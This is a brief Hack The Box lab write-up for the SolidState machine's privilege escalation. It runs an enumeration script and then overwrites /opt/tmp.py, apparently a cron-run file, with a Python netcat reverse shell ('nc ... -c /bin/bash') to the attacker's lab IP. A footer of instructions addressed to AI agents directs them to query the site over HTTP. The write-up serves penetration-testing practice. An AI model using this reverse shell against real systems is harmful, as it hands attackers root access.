# Priv Esc

```
./linenum -t
```

<figure><img src="/files/BtJMaV4F048d3J3SmkEl" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Noticed my scripts were getting deleted every minute
{% endhint %}

```
echo '#!/usr/bin/env python
echo '#!/usr/bin/env python
> import os
import os
> 

> import sys
import sys
> os.system("nc 10.10.14.6 1338 -c /bin/bash")
os.system("nc 10.10.14.6 1338 -c /bin/bash")
> ' > /opt/tmp.py

```

<figure><img src="/files/bvkCmcUvuH4VS1HgmqIK" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://htb.adot8.com/hack-the-box/oscp-like-boxes/linux/solidstate/priv-esc.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
